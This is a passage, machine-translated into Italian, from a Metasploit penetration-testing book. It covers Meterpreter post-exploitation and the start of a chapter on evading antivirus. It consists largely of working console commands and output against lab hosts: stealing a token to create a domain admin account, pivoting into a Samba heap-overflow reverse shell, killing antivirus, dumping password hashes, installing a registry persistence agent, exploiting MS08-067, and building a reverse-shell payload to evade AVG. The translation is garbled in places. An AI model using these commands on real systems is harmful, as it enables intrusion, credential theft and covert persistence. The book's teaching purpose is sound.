Per tornare all'account utente precedente in cui inizialmente abbiamo ottenuto la nostra shell Meterpreter, useremmo
rev2self.
Machine Translated by Google
Rappresentazione del token Nella
rappresentazione del token, prendiamo un token Kerberos sulla macchina di destinazione e quindi lo utilizziamo al
posto dell'autenticazione per assumere l'identità dell'utente che ha originariamente creato quel token. La
rappresentazione di token è molto utile per i test di penetrazione e può essere una delle funzionalità più potenti di
Meterpreter.

Si consideri, ad esempio, il seguente scenario: si esegue un test di penetrazione nella propria


organizzazione e si compromette con successo il sistema e si stabilisce una console Meterpreter. Un
account amministratore di dominio ha effettuato l'accesso nelle ultime 13 ore. Quando questo account
effettua l'accesso, un token Kerberos viene passato al server (single sign-on) ed è valido per un determinato
periodo di tempo. Sfrutti questo sistema tramite il token Kerberos valido e attivo e tramite Meterpreter assumi
con successo il ruolo di amministratore di dominio, senza bisogno della password. Quindi hackeri un account
di amministratore di dominio o insegui un controller di dominio. Questo è probabilmente uno dei modi più
semplici per accedere a un sistema e solo un altro esempio del perché Meterpreter è così utile.
Machine Translated by Google

Usando ps
Per questo esempio, useremo la funzione Meterpreter ps per elencare le applicazioni in esecuzione e mostrarle sotto
quale account stanno utilizzando. Useremo il nome di dominio SNEAKS.IN e l'account utente
ihazdomainadmin .

meterpreter > ps

Elenco dei processi


=============

Nome PID Utente Arch Session Sentiero


--- ---- ---- ------- ---- ----
0 [Processo di sistema]
4 Sistema x86 0 AUTORITÀ NT\SISTEMA

380 cmd.exe x86 0 SNEAKS.IN\ihazdomainadmin


\Sistema\
Root\System32\cmd.exe

. . . SPICCHIA. . .

contatore >

Come mostrato nell'elenco seguente, sfruttiamo steal_token e il PID (380 in questo caso) per rubare il
token di quell'utente e assume il ruolo di amministratore di dominio:

meterpreter > steal_token 380


Token rubato con nome utente: SNEAKS.IN\ihazdomainadmin
contatore >

Abbiamo impersonato correttamente l'account dell'amministratore di dominio e Meterpreter è ora in esecuzione


nel contesto di quell'utente.

In alcuni casi, ps potrebbe non elencare un processo in esecuzione in esecuzione come amministratore di dominio. Possiamo fare leva
in incognito per elencare anche i token disponibili sul sistema. Quando si esegue un test di penetrazione, noi
dovrebbe controllare l'output sia di ps che di icognito perché i risultati possono variare.
Carichiamo in incognito con use incognito e quindi elenchiamo i token con list_tokens -u. Guardando attraverso il
elenco di token, vediamo l'account utente SNEAKS.IN\ihazdomainadmin in Ora possiamo. fingere di essere
qualcun altro.

meterpreter > usa la navigazione in incognito


Caricamento dell'estensione in incognito... successo.
meterpreter > list_tokens -u
[-] Avviso: attualmente non in esecuzione come SYSTEM, non tutti i token saranno disponibili
Chiama rev2self se il token del processo primario è SYSTEM

Token di delega disponibili


===================================================================================================

SNEAKS.IN\ihazdomainadmin
IHAZSECURITY\Amministratore
AUTORITÀ DEL NT\SERVIZIO LOCALE
AUTORITÀ NT\SERVIZIO RETE
AUTORITÀ NT\SISTEMA

Gettoni di rappresentazione disponibili


Machine Translated by Google
===================================================================================================

AUTORITÀ DEL NT\ACCESSO ANONIMO

Come mostrato nell'elenco successivo, impersoniamo correttamente il token ihazdomainadmin in e aggiungiamo a


account utente a , a cui diamo quindi i diritti di amministratore di dominio . (Assicurati di usarne due

barre rovesciate, \\, quando si immette DOMAIN\USERNAME in .) Il nostro controller di dominio è 192.168.33.50.

meterpreter > impersonate_token SNEAKS.IN\\ihazdomainadmin [+] Token


di delega disponibile [+] Utente impersonato con successo
SNEAKS.IN\ihazdomainadmin
meterpreter > add_user omgcompromesso p@55w0rd! -h 192.168.33.50 [*] Tentativo
di aggiungere utente omgcompromesso all'host 192.168.33.50 [+] Utente meterpreter
aggiunto con successo > add_group_user "Domain Admins" omgcompromesso -h
192.168.33.50

[*] Tentativo di aggiungere l'utente omgcompromesso al gruppo


Domain Admins sul controller di dominio 192.168.33.50

[+] Utente aggiunto al gruppo con successo

Quando inserisci i comandi add_user e add_group_user , assicurati di specificare il flag -h , che indica in Incognito
dove aggiungere l'account dell'amministratore di dominio. In questo caso, sarebbe l'indirizzo IP di un controller di
dominio. Le implicazioni di questo attacco sono devastanti: in sostanza, il token Kerberos su qualsiasi sistema a cui
accede un amministratore di dominio può essere assunto e utilizzato per accedere all'intero dominio. Ciò significa
che ogni server della tua rete è il tuo anello più debole!
Machine Translated by Google

Pivoting su altri sistemi


Il pivot è un metodo Meterpreter che consente l'attacco di altri sistemi su una rete tramite il
Console multimetro. Ad esempio, se un utente malintenzionato dovesse compromettere un sistema, potrebbe utilizzare
perno per compromettere altri sistemi sulla stessa rete o per accedere a sistemi a cui non potrebbe
altrimenti indirizzare il traffico, per qualsiasi motivo.

Ad esempio, supponiamo di eseguire un test di penetrazione da Internet. Tu comprometti a


sistema attraverso una vulnerabilità e disporre di una console Meterpreter sulla rete interna. Non puoi
accedere direttamente ad altri sistemi sulla rete, perché il sistema che hai compromesso non ha fornito
te con tutto ciò di cui hai bisogno per farlo, ma devi penetrare ulteriormente nella rete. Volontà pivotante
consentono di attaccare più sistemi sulla rete interna tramite Internet, utilizzando il
Console multimetro.

Nell'esempio seguente, attaccheremo un sistema da una sottorete e indirizzeremo quel sistema all'attacco
un altro sistema. Per prima cosa, sfrutteremo la macchina Windows XP, quindi porteremo sulle spalle l'attacco
dalla nostra macchina d'attacco a un sistema Ubuntu sulla rete interna. Verremo da a
10.10.1.1/24 indirizzi e sistemi di attacco all'interno della rete 192.168.33.1/24.

Daremo per scontato di avere già accesso a un server tramite un compromesso e ci concentreremo su
stabilire una connessione a quella rete. Successivamente, introduciamo script esterni scritti con Meterpreter
che può essere trovato nella directory scripts/meterpreter/. Questi script offrono funzionalità aggiuntive che
possiamo usare all'interno di Meterpreter.

Iniziamo visualizzando le sottoreti locali sul sistema compromesso all'interno di una sessione di Meterpreter con
esegui get_local_subnets, come mostrato in .

[*] Sessione Meterpreter 1 aperta (10.10.1.129:443 -> 192.168.33.130:1075)

meterpreter > esegui get_local_subnets


Sottorete locale: 192.168.33.0/255.255.255.0

meterpreter > sfondo

msf exploit (gestore) > route aggiungere 192.168.33.0 255.255.255.0 1

msf exploit (gestore) > route print

Tabella di instradamento attiva


======================

Sottorete Maschera di rete Gateway


------ ------- -------

192.168.33.0 255.255.255.0 Sessione 1

Abbiamo compromesso con successo la nostra macchina Windows XP e abbiamo pieno accesso ad essa. Successivamente, noi

sfondo della nostra sessione in esecuzione su e aggiungere un comando route al Framework in , dicendogli di
instradare l'ID di rete remota sulla sessione 1, la sessione Meterpreter in background. Quindi mostriamo
percorsi attivi con stampa percorso su , e possiamo vedere chiaramente che, proprio come desideravamo, il percorso è
attivo.

Successivamente, imposteremo un secondo exploit contro il sistema Linux di destinazione. L'exploit specifico qui è a
Overflow dell'heap basato su Samba, che sarebbe vulnerabile sulla nostra macchina Metasploitable.
Machine
usa msfTranslated by Google
exploit(gestore) > usa linux/samba/lsa_transnames_heap msf
exploit(lsa_transnames_heap) > imposta payload linux/x86/shell/reverse_tcp => linux/x86/shell/
reverse_tcp
msf exploit(lsa_transnames_heap) > set LHOST 10.10.1.129 LHOST =>
10.10.1.129 msf exploit(lsa_transnames_heap) > set LPORT 8080 LPORT
=> 8080

msf exploit(lsa_transnames_heap) > imposta RHOST 192.168.33.132 RHOST


=> 192.168.33.132

msf exploit(lsa_transnames_heap) > ifconfig [*] exec:


ifconfig

eth0 Link encap:Ethernet HWaddr 00:0c:29:47:e6:79 inet


addr:10.10.1.129 Bcast:10.10.1.255 Mask:255.255.255.0 inet6 addr:
fe80::20c:29ff:fe47:e679/64 Scope:Link UP BROADCAST IN ESECUZIONE
MULTICAST MTU:1500 Metrica:1 Pacchetti RX:23656 errori:0 eliminati:0
superamenti:0 frame:0 Pacchetti TX:32321 errori:0 eliminati:0 superamenti:0
vettore:0 collisioni:0 txqueuelen:1000 byte RX :4272582 (4,2 MB) TX byte:17849775
(17,8 MB)

Interruzione:19 Indirizzo di base:0x2000

esso Link encap:Local Loopback inet


addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128
Scope:Host UP LOOPBACK RUNNING
MTU:16436 Metric:1 RX packages:600 errors:0 drops:0
overruns:0 frame :0 Pacchetti TX:600 errori:0 eliminati:0 superamenti:0
vettore:0 collisioni:0 txqueuelen:0 RX byte:41386 (41,3 KB) TX byte:41386
(41,3 KB)

msf exploit(lsa_transnames_heap) > exploit

[*] Reverse handler avviato il 10.10.1.129:8080 [*] Creazione di


nop sled....
[*] Tentativo di sfruttare Samba con indirizzo 0xffffe410...
[*] Connessione al servizio SMB...
[*] Associazione a 12345778-1234-abcd-ef00-0123456789
ab:0.0@ncacn_np:192.168.33.132[\lsarpc] ...
[*] Legato a 12345778-1234-abcd-ef00-0123456789ab:0.0@
ncacn_np:192.168.33.132[\lsarpc] ...
[*] Chiamare la funzione vulnerabile...
[+] Il server non ha risposto, è previsto [*] Tentativo di
sfruttare Samba con indirizzo 0xffffe411...
[*] Connessione al servizio SMB...
[*] Associazione a 12345778-1234-abcd-ef00-0123456789ab:0.0
@ncacn_np:192.168.33.132[\lsarpc] ...
[*] Legato a 12345778-1234-abcd-ef00-0123456789ab:0.0
@ncacn_np:192.168.33.132[\lsarpc] ...
[*] Chiamare la funzione vulnerabile...
[+] Il server non ha risposto, è previsto [*] Tentativo di
sfruttare Samba con indirizzo 0xffffe412...
[*] Connessione al servizio SMB...
[*] Associazione a 12345778-1234-abcd-ef00-0123456789ab:
0.0@ncacn_np:192.168.33.132[\lsarpc] ...
[*] Legato a 12345778-1234-abcd-ef00-0123
456789ab:0.0@ncacn_np:192.168.33.132[\lsarpc] ...
[*] Chiamare la funzione vulnerabile...
Machine
[*] FaseTranslated
di invio (36bybyte)
Google
[*] Sessione della shell dei comandi 1 aperta (10.10.1.129:8080 -> 192.168.33.132:1608)

Confronta le variabili LHOST e RHOST con le informazioni di rete visualizzate da ifconfig . La


nostra opzione LHOST specifica l'indirizzo IP della nostra macchina attaccante. Si noti inoltre che l' indirizzo IP
dell'opzione RHOST è impostato su una sottorete di rete diversa e che stiamo attaccando i sistemi incanalando
il nostro traffico attraverso il nostro obiettivo compromesso verso sistemi aggiuntivi sulla rete del target. Stiamo
sfruttando l'attacco pivot tramite Metasploit per trasferire le comunicazioni attraverso la nostra macchina sfruttata
alla macchina di destinazione che risiede nella sottorete locale. In questo caso, se l'heap overflow ha esito
positivo, ci dovrebbe essere presentata una shell inversa da 192.168.33.132, semplicemente sfruttando le
comunicazioni di rete sulla macchina già compromessa. Quando eseguiamo l'exploit con exploit, vediamo che
una connessione è impostata come previsto su un computer diverso, non sul computer Windows XP.
Ora, per eseguire la scansione delle porte tramite il pivot, useremmo il modulo scanner/portscan/tcp, che è stato
creato per gestire il routing tramite Metasploit.

NOTA
Puoi anche usare lo scanner/portscan/tcp scanner per condurre una serie di scansioni delle porte attraverso il tuo target compromesso
sulla stessa sottorete locale. Non entreremo nei dettagli qui, ma sappi solo che puoi eseguire la scansione delle porte su una rete compromessa
sfruttando questo modulo.

Negli esempi precedenti, abbiamo utilizzato il comando route add dopo aver compromesso il sistema.
In alternativa, per aggiungere automaticamente i percorsi a Meterpreter dopo una nuova sessione di spawn, potremmo usare load
auto_add_route:

msf exploit(ms08_067_netapi) > carica auto_add_route


[*] Plugin caricato con successo: auto_add_route

msf exploit(ms08_067_netapi) > exploit [*] Gestore


inverso avviato il 10.10.1.129:443 [*] Attivazione della
vulnerabilità...
[*] Fase di invio (748032 byte)
[*] Sessione Meterpreter 1 aperta (10.10.1.129:443 -> 192.168.33.130:1090)
[*] AutoAddRoute: instradamento della nuova sottorete 192.168.33.0/255.255.255.0 attraverso la sessione 1
Machine Translated by Google
Utilizzo degli script di Meterpreter Diversi
script di Meterpreter esterni possono aiutare a enumerare un sistema o eseguire attività predefinite all'interno
della shell di Meterpreter. Non tratteremo tutti i copioni qui, ma ne menzioneremo alcuni dei più importanti.

NOTA
Gli script Meterpreter stanno per essere spostati in moduli di post-sfruttamento. In questo capitolo tratteremo sia gli
script che i moduli di post-sfruttamento.

Per eseguire uno script dalla console di Meterpreter, immettere runscriptname. Lo script verrà eseguito o fornirà
ulteriore aiuto su come eseguirlo.
Se si desidera utilizzare una GUI remota interattiva sul sistema, è possibile utilizzare il protocollo VNC per
eseguire il tunneling delle comunicazioni desktop attive e interagire con la GUI desktop sulla macchina di destinazione.
Ma in alcuni casi, il sistema potrebbe essere bloccato e potresti non essere in grado di accedervi. Non
temere: Metasploit ci copre.
Nell'esempio seguente, emettiamo il comando run vnc , che installa una sessione VNC sul sistema remoto. Da lì,
lanciamo run screen_unlock per sbloccare la macchina di destinazione in modo da poter visualizzare il desktop. Di
conseguenza, dovrebbe apparire una finestra VNC, che ci mostra il desktop di destinazione.
meterpreter > esegui vnc [*]
Creazione di uno stager tcp inverso VNC: LHOST=192.168.33.129 LPORT=4545)
[*] Gestore del carico utile in
esecuzione [*] eseguibile dello stager VNC lungo 37888
byte [*] Caricato l'agente VNC in C:\WINDOWS\TEMP\CTDWtQC.exe (deve essere eliminato manualmente)
[*] Esecuzione dell'agente VNC con l'endpoint 192.168.33.129:4545...
[*] Sessione 2 del server VNC aperta (192.168.33.129:4545 -> 192.168.33.130:1091)

Questo ci fornirà un'interfaccia grafica VNC per la macchina di destinazione e ci consentirà di interagire tramite
un desktop.
meterpreter > esegui screen_unlock [*]
OS 'Windows XP (Build 2600, Service Pack 2).' trovato in bersagli noti [*] patching... [*] fatto!

Migrazione di un processo
Spesso, quando attacchiamo un sistema e sfruttiamo un servizio come Internet Explorer, se l'utente target
chiude il browser, viene chiusa anche la sessione di Meterpreter e perdiamo la connessione al target. Per
evitare questo problema, possiamo utilizzare il modulo di migrazione post sfruttamento, mostrato di seguito, per
tentare di migrare il servizio in uno spazio di memoria che non si chiuderà quando la destinazione chiude il
browser. Migrando a un processo diverso e più stabile, ci assicuriamo che il processo non venga chiuso e
manteniamo la nostra connessione al sistema.
meterpreter > esegui post/windows/manage/migrate [*]
Esecuzione del modulo su V-MAC-XP [*] Processo server
corrente: revterp.exe (2436)
[*] Migrazione a explorer.exe...
[*] Migrazione nell'ID processo 816 [*] Nuovo
processo server: Explorer.EXE (816)
Machine Translated by Google
Eliminazione del software antivirus Il software

antivirus può bloccare determinate attività. Durante i test di penetrazione, abbiamo visto prodotti antivirus "più intelligenti" o prodotti
per la prevenzione delle intrusioni basati su host che bloccano la nostra capacità di eseguire determinati vettori di attacco. In questi
casi, possiamo eseguire lo script killav per interrompere i processi che impediscono l'esecuzione delle nostre attività.

meterpreter > esegui killav [*]


Eliminazione dei servizi antivirus sul target...
[*] Eliminazione di cmd.exe...
[*] Eliminazione di cmd.exe...

Ottenere gli hash delle password di sistema L'ottenimento di una copia degli

hash delle password di sistema ci consente di eseguire attacchi pass-the-hash o di forzare brute force l'hash per rivelare la
password in testo normale. Possiamo ottenere gli hash delle password con il comando run hashdump :

meterpreter > esegui hashdump [*]


Ottenere la chiave di avvio...
[*] Calcolo della chiave hboot utilizzando SYSKEY de4b35306c5f595438a2f78f768772d2...
[*] Ottenere l'elenco utenti e le chiavi...
[*] Decrittografia delle chiavi utente...
[*] Dumping degli hash delle password...

Amministratore:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eee8fb117ad06bdd830b7586c:::

Visualizzazione di tutto il traffico su una macchina target Per vedere tutto il

traffico su una destinazione, possiamo eseguire un registratore di pacchetti. Tutto ciò che viene catturato dal packetrecorder
viene salvato nel formato di file .pcap per essere analizzato con uno strumento come Wireshark.

In questo elenco, eseguiamo lo script del registratore di pacchetti con l' opzione -i 1 , che specifica quale interfaccia
vogliamo utilizzare per eseguire le acquisizioni dei pacchetti:

meterpreter > esegui packetrecorder -i 1


[*] Avvio dell'acquisizione del pacchetto sull'interfaccia 1
[*] Acquisizione del pacchetto iniziata

Raschiare un sistema Lo script

raschietto enumera praticamente tutto ciò che si può desiderare da un sistema. Prenderà i nomi utente e le password, scaricherà
l'intero registro, scaricherà gli hash delle password, raccoglierà le informazioni di sistema ed esporterà HKEY_CURRENT_USER
(HKCU).
meterpreter > run scraper [*] Nuova
sessione il 192.168.33.130:1095...
[*] Raccolta delle informazioni di base sul sistema...
[*] Dumping degli hash delle password...
[*] Ottenere l'intero registro...
[*] Esportazione di HKCU
[*] Download di HKCU (C:\WINDOWS\TEMP\XklepHOU.reg)

L'uso dello script di persistenza di

Meterpreter consente di iniettare un agente Meterpreter per garantire che Meterpreter sia in esecuzione anche dopo il riavvio del
sistema di destinazione. Se si tratta di una connessione inversa, è possibile impostare gli intervalli per
Machine per
il bersaglio Translated by Google
riconnettersi alla macchina dell'attaccante. Se è un binding, puoi fare in modo che tenti di eseguire il binding su
un'interfaccia in un determinato momento.

AVVERTIMENTO

Se utilizzi questa funzionalità, assicurati di rimuoverla al termine. Se ti dimentichi di farlo, qualsiasi utente malintenzionato può accedere al sistema anche
senza autenticazione!

Nell'elenco seguente, eseguiamo la persistenza e diciamo a Windows di avviare automaticamente l'agente all'avvio (-X), attendere 50
secondi (-i 50) prima di riprovare la connessione, eseguire sulla porta 443 (-p 443) e connettersi a IP 192.168 .33.129. Quindi stabiliamo

un listener per l'agente con use multi/handler e, dopo aver impostato un paio di opzioni ed aver eseguito l' exploit, vediamo che la

connessione arriva come previsto.

meterpreter > esegui persistenza -X -i 50 -p 443 -r 192.168.33.129 [*] Creazione di un agente persistente:
LHOST=192.168.33.129 LPORT=443 (intervallo=50 onboot=true)

[*] Lo script dell'agente persistente è lungo 316384 byte [*] Caricato l'agente
persistente in C:\WINDOWS\TEMP\asSnqrlUDRwO.vbs [*] Agente eseguito con PID 3160 [*] Installazione in esecuzione
automatica come HKLM\Software\Microsoft\Windows

\CurrentVersion\Esegui\xEYnaHedooc
[*] Installato in esecuzione automatica come HKLM\Software\Microsoft\Windows\CurrentVersion\Run\
xEYnaHedooc

msf> usa multi/gestore msf exploit


(gestore) > imposta payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp
msf exploit (gestore) > imposta LPORT 443 LPORT => 443 msf exploit (gestore) > imposta LHOST 192.168.
33.129 LHOST => 192.168.33.129 msf exploit(gestore) > exploit

[*] Avviato il gestore inverso il 192.168.33.129:443 [*] Avvia il gestore del carico
utile...
[*] Fase di invio (748032 byte)

[*] Sessione Meterpreter 2 aperta (192.168.33.129:443 -> 192.168.33.130:1120)

Al momento della stesura di questo documento, l'unico modo per rimuovere l'agente Meterpreter è eliminare la voce di registro
in HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ e rimuovere il VBScript che si trova in C:\WINDOWS\TEMP\.
Assicurati di documentare le chiavi di registro e le posizioni (come HKLM\Software\Microsoft\Windows\CurrentVersion\Run\xEYnaHedooc

per rimuoverle manualmente. In genere, puoi farlo tramite Meterpreter o rilasciarlo su una shell e rimuoverlo in questo modo. Se
ti senti più a tuo agio nell'usare una GUI, puoi usare run vnc e rimuovere lo script con regedit. (Nota che le chiavi di registro cambieranno
ogni volta, quindi assicurati di documentare dove Metasploit aggiunge le chiavi di registro.)
Machine Translated by Google

Utilizzo dei moduli post sfruttamento Come accennato


in precedenza, gli script di Meterpreter vengono lentamente convertiti in moduli post sfruttament
Il passaggio ai moduli di post-sfruttamento darà finalmente uno standard e un formato completamente
coerenti ai moduli Metasploit. Leggendo i capitoli successivi, vedrai la struttura generale dei moduli ausiliari
e degli exploit. In passato, gli script di Meterpreter utilizzavano il proprio formato, che era molto diverso dal
modo in cui si comportavano gli altri moduli.
Un ulteriore vantaggio dello spostamento dei moduli nello stesso formato è la possibilità di eseguire lo stesso
attacco su tutte le sessioni disponibili. Supponiamo, ad esempio, di avere 10 shell Meterpreter aperte. In modo
tradizionale, dovresti eseguire hashdump su ciascuno o scrivere script personalizzati per eseguire query su
ciascuna console. Nel nuovo formato, saresti in grado di interagire con ogni sessione ed eseguire l' hashdump
su più sistemi, se necessario.
Il prossimo elenco mostra un esempio di come utilizzare i moduli di post sfruttamento:
meterpreter > esegui post/windows/gather/hashdump [*]
Ottenere la chiave di avvio...
[*] Calcolo della chiave hboot utilizzando SYSKEY de4b35306c5f595438a2f78f768772d2...
[*] Ottenere l'elenco utenti e le chiavi...
[*] Decrittografia delle chiavi utente...
[*] Dumping degli hash delle password...

Per visualizzare un elenco di moduli post sfruttamento, inserisci quanto segue e quindi premi il tasto Tab
sulla tastiera alla fine della riga:
meterpreter > corri posta/
Machine Translated by Google

Aggiornamento della shell dei comandi a Meterpreter Una delle funzionalità più
recenti di Metasploit Framework è la sua capacità di aggiornare un payload della shell dei comandi a un payload
Meterpreter una volta che il sistema è stato sfruttato, emettendo il comando sessioni -u . Ciò è utile se
utilizziamo un carico utile della shell dei comandi come stager iniziale e poi scopriamo che questo sistema appena
sfruttato sarebbe il trampolino di lancio perfetto per ulteriori attacchi alla rete.
Diamo un'occhiata a un rapido esempio dall'inizio alla fine dell'utilizzo di MS08-067 con una shell di comando
inversa come carico utile e aggiornalo a una shell Meterpreter.

root@bt:/opt/framework3/msf3# msfconsole msf > cerca


ms08_067 [*] Ricerca moduli caricati per pattern
'ms08_067'...

Exploit
========

Nome Descrizione del grado


---- ---- -----------

windows/smb/ms08_067_netapi ottimo stack di percorsi relativi del servizio server Microsoft


Corruzione

msf > usa windows/smb/ms08_067_netapi msf


exploit(ms08_067_netapi) > imposta PAYLOAD windows/shell/reverse_tcp payload => windows/
shell/reverse_tcp msf exploit(ms08_067_netapi) > imposta TARGET 3 target => 3

exploit msf (ms08_067_netapi)> setg LHOST 192.168.33.129 LHOST =>


192.168.33.129 exploit msf (ms08_067_netapi)> setg LPORT 8080 LPORT =>
8080

msf exploit(ms08_067_netapi) > exploit -z

[*] Gestore inverso avviato su 192.168.33.129:8080 [*] Attivazione della


vulnerabilità...
[*] Fase di invio (240 byte)
[*] Sessione della shell di comando 1 aperta (192.168.33.129:8080 -> 192.168.33.130:1032)
[*] Sessione 1 creata in background.

msf exploit(ms08_067_netapi) > sessioni -u 1

[*] Avviato il gestore inverso il 192.168.33.129:8080 [*] Avvia il gestore del


carico utile...
[*] Progresso di Command Stager - 3,16% completato (1694/53587 byte)
[*] Progresso di Command Stager - 6,32% completato (3388/53587 byte)

. . . SPICCHIA. . .

[*] Progresso di Command Stager - 97,99% completato (52510/53587 byte)


[*] Fase di invio (748032 byte) msf
exploit(ms08_067_netapi) > [*] Sessione Meterpreter 2 aperta (192.168.33.129:8080
-> 192.168.33.130:1044)

msf exploit(ms08_067_netapi) > sessioni -i 2 [*] Avvio


dell'interazione con 2... meterpreter >
Machine Translated by Google
A immettiamo il comando setg per LHOST e LPORT, che è richiesto affinché le sessioni -u 1 eseguano
l'aggiornamento a Meterpreter non
. (Ilsolo
comando
per questo
setg imposta
exploit.) LPORT e LHOST globalmente in Metasploit,

Si noti che quando sfruttiamo il sistema emettiamo il comando exploit -z , che non interagirà con la
sessione una volta che il target è stato sfruttato. Se a questo punto avevi già eseguito il comando exploit ,
puoi semplicemente premere ctrl-Z ed eseguire la sessione in background.
Machine Translated by Google

Manipolazione delle API di Windows con il componente aggiuntivo Railgun È possibile interfacciarsi

con l'API nativa di Windows direttamente tramite un componente aggiuntivo Metasploit chiamato Railgun, che è stato scritto
da Patrick HVE. Aggiungendo Railgun a Metasploit Framework, puoi chiamare in modo nativo le API di Windows tramite
Meterpreter, il tutto tramite l'API di Windows. Ad esempio, nell'elenco seguente, passeremo a una shell Ruby interattiva (irb),
disponibile tramite Meterpreter. La shell irb ci permette di interagire direttamente con Meterpreter attraverso la sintassi basata
su Ruby. In questo esempio chiamiamo Railgun e creiamo una semplice finestra pop-up che dice "ciao mondo".

meterpreter > irb [*]


Avvio della shell IRB [*] La
variabile 'client' contiene il client meterpreter >>
client.railgun.user32.MessageBoxA(0,"hello","world","MB_OK")

Sul nostro computer Windows XP di destinazione, dovresti vedere una finestra pop-up con il mondo nella barra del titolo e
ciao nella finestra del messaggio. In questo esempio, abbiamo semplicemente chiamato user32.dll e la funzione
MessageBoxA , che accetta i parametri come mostrato.

NOTA
Per un elenco di tutte le chiamate API documentate, visitare http://msdn.microsoft.com/.

Non tratteremo Railgun in dettaglio (puoi trovare un tutorial all'interno della directory Framework in external/source/
meterpreter/source/extensions/stdapi/server/railgun/, ma questo ti dà un'idea della sua potenza.

Le implicazioni sono enormi: Railgun offre le stesse capacità di un'applicazione nativa Win32 con accesso completo all'API di
Windows.
Machine Translated by Google
Conclusione Si spera
che ora siate abbastanza a vostro agio con Meterpreter. Non abbiamo esaminato tutti i flag e le
opzioni di Meterpreter, perché ci aspettiamo che la tua conoscenza di Meterpreter cresca man mano
che lo sperimenti e lo usi. Meterpreter è uno strumento in continua evoluzione con un'enorme quantità
di supporto per script e aggiunte. Una volta che avrai acquisito dimestichezza con l'interfaccia generale,
sarai in grado di padroneggiare qualsiasi cosa di nuovo. Nel Capitolo 16 imparerai come creare i tuoi script
Meterpreter da zero e come è progettata la struttura generale di uno script Meterpreter.
Machine Translated by Google

Capitolo 7. Come evitare il rilevamento


Quando si esegue un test di penetrazione, niente è più imbarazzante di essere scoperti
programma antivirus. Questo è uno di quei piccoli dettagli che possono essere trascurati abbastanza facilmente: se non lo fai
fai piani per eludere il rilevamento da parte del software antivirus, fai attenzione, perché il tuo obiettivo sarà presto
avvisato che sta succedendo qualcosa di sospetto. In questo capitolo tratteremo le situazioni in cui antivirus
il software potrebbe essere un problema e discutere le possibili soluzioni.

La maggior parte dei software antivirus utilizza le firme per identificare gli aspetti del codice dannoso presenti in a
campionamento di software dannoso. Queste firme vengono caricate nei motori antivirus e quindi utilizzate
scansiona la memoria del disco e i processi in esecuzione per trovare le corrispondenze. Quando viene trovata una corrispondenza, il software antivirus
adotta alcuni passaggi per rispondere alla situazione: la maggior parte mette in quarantena il file binario o interrompe il processo in esecuzione.

Come puoi immaginare, questo modello presenta problemi di ridimensionamento. Per uno, la quantità di codice dannoso nel file
wild significa che un prodotto antivirus caricato con le firme può controllare i file solo così rapidamente
firme corrispondenti. Inoltre, le firme devono essere sufficientemente specifiche da attivarsi solo quando si incontrano
programmi veramente dannosi, non software legittimo. Questo modello è relativamente facile da implementare, eppure lo è
fornisce un successo limitato nella pratica.

Detto questo, gli editori di antivirus stanno facendo molti soldi e molti sono intelligenti e talentuosi
le persone lavorano nel settore. Se prevedi di utilizzare un carico utile non personalizzato, puoi aspettartelo
il software antivirus lo rileverà.

Per eludere l'antivirus, possiamo creare payload unici da eseguire su un sistema protetto da software antivirus
che non corrisponderà a nessuna delle firme disponibili. Inoltre, quando eseguiamo exploit diretti
su un sistema, i payload Metasploit sono progettati per essere eseguiti in memoria e non per scrivere mai dati sul disco rigido
disco. Quando inviamo un payload come parte di un exploit, la maggior parte dei programmi antivirus non rileverà che lo sia
stato eseguito sul bersaglio.

Invece di concentrarci su comandi specifici in questo capitolo, ci concentreremo sui concetti sottostanti.
Considera i tipi di caratteristiche che potrebbero attivare il software antivirus e prova a utilizzare le tecniche
presentato qui per modificare sezioni di codice in modo che non corrispondano più alle firme antivirus. Non
abbiate paura di sperimentare.

Creazione di binari autonomi con MSFpayload


Prima di eseguire un'evasione antivirus, diamo un'occhiata a come creare un binario Metasploit autonomo
payload con msfpayload. Per cominciare, creeremo un semplice guscio inverso che si ricollega al
attaccante e genera una shell di comando. Useremo msfpayload e windows/shell_reverse_tcp. Ma

per prima cosa, diamo un'occhiata alle opzioni disponibili per il payload shell_reverse_tcp usando il flag O in .

root@bt:/# msfpayload windows/shell_reverse_tcp O

. . . SPICCHIA. . .

Opzioni di base:
Nome Impostazione attuale richiesta Descrizione
---- --------------- -------- -----------

processo EXITFUNC sì Tecnica di uscita: seh, thread, process


LOST sì sì L'indirizzo locale
PORTO 4444 Il porto locale
Machine
Ora Translated
eseguiamo by Google
nuovamente msfpayload e forniamo le opzioni necessarie per creare questo payload in Windows
Formato Portable Executable (PE). Per fare ciò, forniamo l' opzione X come mostrato come output
formato:

root@bt:/# msfpayload windows/shell_reverse_tcp LHOST=192.168.1.101 LPORT=31337 X


>
/var/www/payload1.exe
root@bt:/# file /var/www/payload1.exe
var/www/payload1.exe: PE eseguibile MS-DOS per MS Windows (GUI) Intel 80386 a 32 bit

Ora abbiamo un eseguibile funzionante, quindi possiamo avviare un listener con il modulo multi/gestore in
msfconsole. multi/gestore consente a Metasploit di ascoltare le connessioni inverse.

msf > usa exploit/multi/handler

msf exploit (gestore) > mostra le opzioni

. . . SPICCHIA. . .

Opzioni di carico utile (windows/meterpreter/reverse_tcp):

Nome Impostazione attuale richiesta Descrizione


---- --------------- -------- -----------

EXITFUNC processo sì Tecnica di uscita: seh, thread, process


LHOST 192.168.1.101 sì sì L'indirizzo locale
PORTO 4444 Il porto locale

. . . SPICCHIA. . .

msf exploit (gestore) > imposta PAYLOAD windows/shell_reverse_tcp


PAYLOAD => windows/shell_reverse_tcp

msf exploit (gestore) > imposta LHOST 192.168.1.101


LHOST => 192.168.1.101

msf exploit (gestore) > imposta LPORT 31337


PORTO => 31337
msf exploit (gestore) >

Per prima cosa utilizziamo il modulo multi/gestore in e otteniamo una rapida visualizzazione delle opzioni in . Quindi, abbiamo impostato

il nostro carico utile deve essere una shell inversa di Windows in modo che corrisponda al comportamento dell'eseguibile we
, partire.
creato in precedenza, digli l'IP su e la porta su cui ascoltare e siamo pronti per
Machine Translated by Google

Eludere il rilevamento dell'antivirus


Utilizzeremo il popolare prodotto AVG Anti-Virus negli esempi seguenti. Perché può volerci un po'
volta e più tentativi di aggirare determinati motori antivirus, prima di provare a distribuire un carico utile, noi
controlla la soluzione antivirus per assicurarti che il carico utile la superi prima di distribuirla sulla destinazione.

In questo caso, quando testiamo il nostro carico utile con AVG, vediamo che viene rilevato, come mostrato nella Figura 7-1.

Figura 7-1. AVG ha rilevato il nostro carico utile.

